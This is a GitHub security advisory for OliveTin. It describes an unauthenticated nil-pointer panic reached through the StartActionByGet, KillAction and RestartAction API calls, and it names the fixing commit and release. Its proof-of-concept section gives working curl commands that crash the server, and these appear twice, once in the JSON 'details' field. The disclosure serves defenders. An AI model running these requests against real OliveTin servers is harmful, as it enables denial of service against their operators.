GHSA-FWHJ-785H-43HH
Vulnerability from github – Published: 2026-03-05 20:54 – Updated: 2026-03-05 20:54Summary
An unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via StartActionByGet (invalid action ID), then calling KillAction or RestartAction on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (Empty reply from server), enabling denial of service through panic/log/CPU amplification.
Details
The issue is caused by this flow:
-
StartActionByGetaccepts arbitraryactionIdand still calls executor:service/internal/api/api.go:239
-
Executor stores a log entry before binding validation:
service/internal/executor/executor.go:519
-
If binding is nil, execution stops, but the log entry remains:
service/internal/executor/executor.go:781
-
KillActiondereferencesexecReqLogEntry.Binding.Actionwithout checkingBinding:service/internal/api/api.go:79
-
RestartActionhas the same unsafe dereference:service/internal/api/api.go:1285
Because the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.
PoC
Environment:
- OliveTin default single frontend on http://localhost:1337
- Reproduced on main (commit 235493e) and tag 3000.11.0
1) Create orphan tracking ID with invalid action: ```bash T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \ -H 'Content-Type: application/json' \ --data '{"actionId":"does-not-exist"}' \ | sed -n 's/."executionTrackingId":"([^"])".*/\1/p') echo "$T"
- Trigger panic in RestartAction:
curl -v -X POST http://localhost:1337/api/RestartAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"
- Trigger panic in KillAction:
curl -v -X POST http://localhost:1337/api/KillAction \ -H 'Content-Type: application/json' \ --data "{\"executionTrackingId\":\"$T\"}"
Observed client output:
- curl: (52) Empty reply from server
Observed server log:
- panic serving ... runtime error: invalid memory address or nil pointer dereference
- stack points to:
- service/internal/api/api.go:79 (KillAction)
- service/internal/api/api.go:1285 (RestartAction)
```
Impact
This is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260304225158-bb14c5da3e64"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T20:54:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n 1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n - `service/internal/api/api.go:239`\n\n 2. Executor stores a log entry before binding validation:\n - `service/internal/executor/executor.go:519`\n\n 3. If binding is nil, execution stops, but the log entry remains:\n - `service/internal/executor/executor.go:781`\n\n 4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n - `service/internal/api/api.go:79`\n\n 5. `RestartAction` has the same unsafe dereference:\n - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n\n### PoC\n Environment:\n - OliveTin default single frontend on `http://localhost:1337`\n - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n 1) Create orphan tracking ID with invalid action:\n ```bash\n T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"actionId\":\"does-not-exist\"}\u0027 \\\n | sed -n \u0027s/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p\u0027)\n echo \"$T\"\n\n 2. Trigger panic in RestartAction:\n\n curl -v -X POST http://localhost:1337/api/RestartAction \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n 3. Trigger panic in KillAction:\n\n curl -v -X POST http://localhost:1337/api/KillAction \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n - curl: (52) Empty reply from server\n\nObserved server log:\n\n - panic serving ... runtime error: invalid memory address or nil pointer dereference\n - stack points to:\n - service/internal/api/api.go:79 (KillAction)\n - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.",
"id": "GHSA-fwhj-785h-43hh",
"modified": "2026-03-05T20:54:25Z",
"published": "2026-03-05T20:54:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OliveTin has crash on NPE by calling APIs with invalid bindings or log references"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.